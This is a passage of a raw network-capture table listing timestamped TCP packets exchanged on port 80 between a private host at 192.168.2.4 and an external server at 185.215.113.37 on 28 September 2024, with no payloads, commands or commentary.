Sep 28, 2024 10:19:13.778903961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.778908014 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.778947115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779006004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779041052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779052973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779076099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779078007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779124975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779150009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779171944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779238939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779272079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779282093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779310942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779372931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779424906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779442072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779479980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779484034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779514074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779517889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779555082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779567957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779609919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779619932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779654026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779655933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779683113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779691935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779719114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779723883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779756069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779762030 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779791117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779793024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779827118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.779830933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779867887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.779977083 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780009985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780033112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780042887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780144930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780178070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780195951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780210972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780219078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780250072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780256987 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780289888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780296087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780323982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780330896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780358076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780360937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780391932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780396938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780432940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780440092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780481100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780714989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780746937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780762911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780778885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780788898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780812025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780817986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780844927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780854940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780879021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780889034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780914068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780921936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780947924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780957937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.780982971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.780988932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781018972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781028032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781056881 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781059027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781090021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781095028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781161070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781197071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781203985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781378031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781409979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781428099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781444073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781450033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781477928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781485081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781513929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781519890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781543970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781557083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781585932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781677008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781709909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781729937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781743050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781749010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781776905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781779051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781810045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781820059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781842947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.781850100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.781898975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782094955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782129049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782140017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782164097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782175064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782197952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782207966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782231092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782232046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782268047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782272100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782301903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782310963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782335043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782346010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782370090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782376051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782403946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782409906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782439947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782445908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782473087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782481909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782509089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782515049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782550097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782730103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782762051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782774925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782794952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782802105 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782835960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782846928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782879114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782887936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782912970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782919884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782947063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782955885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.782982111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.782989025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.783015013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.783018112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.783049107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.783056974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.783082962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.783097029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.783114910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.783126116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.783150911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.783155918 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.783193111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.865057945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.865091085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.865122080 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.865142107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.921900988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.926821947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246560097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246587992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246629000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246644974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246665001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246687889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246687889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246702909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246735096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246751070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246757984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246789932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246804953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246822119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246834040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246855974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246865988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246890068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246900082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246921062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246927977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246952057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246962070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.246985912 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.246994972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247015953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247030973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247050047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247057915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247086048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247096062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247180939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247205973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247243881 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247276068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247293949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247308969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247325897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247343063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247349977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247392893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247415066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247457981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247471094 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247514963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247595072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247627974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247638941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247662067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247668982 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247697115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247698069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247731924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247741938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247762918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247776985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247796059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247805119 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247831106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247840881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247867107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247875929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247905970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247916937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247940063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247951031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.247975111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.247984886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248009920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248020887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248044968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248058081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248078108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248090029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248114109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248125076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248148918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248157978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248191118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248537064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248572111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248583078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248605967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248613119 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248641014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248652935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248682022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248687983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248724937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248737097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248759031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248774052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248792887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248804092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248827934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248874903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248874903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248908997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248922110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248944044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.248963118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.248979092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.249011993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.249047041 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.249057055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.249073029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.249073982 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.249073982 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.249085903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.249099016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.249126911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.249165058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279488087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279546976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279547930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279578924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279592037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279622078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279639006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279666901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279683113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279712915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279720068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279759884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279783010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279835939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279871941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279881954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279921055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.279925108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279957056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.279992104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280004025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280035019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280036926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280092955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280122995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280127048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280133963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280160904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280191898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280205011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280225992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280236006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280267954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280319929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280353069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280400038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280463934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280495882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280529022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280545950 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280576944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280709982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280754089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280762911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280791998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280808926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280834913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280874968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280908108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280941963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.280956984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.280987978 CEST	49730	80	192.168.2.4	185.215.113.37
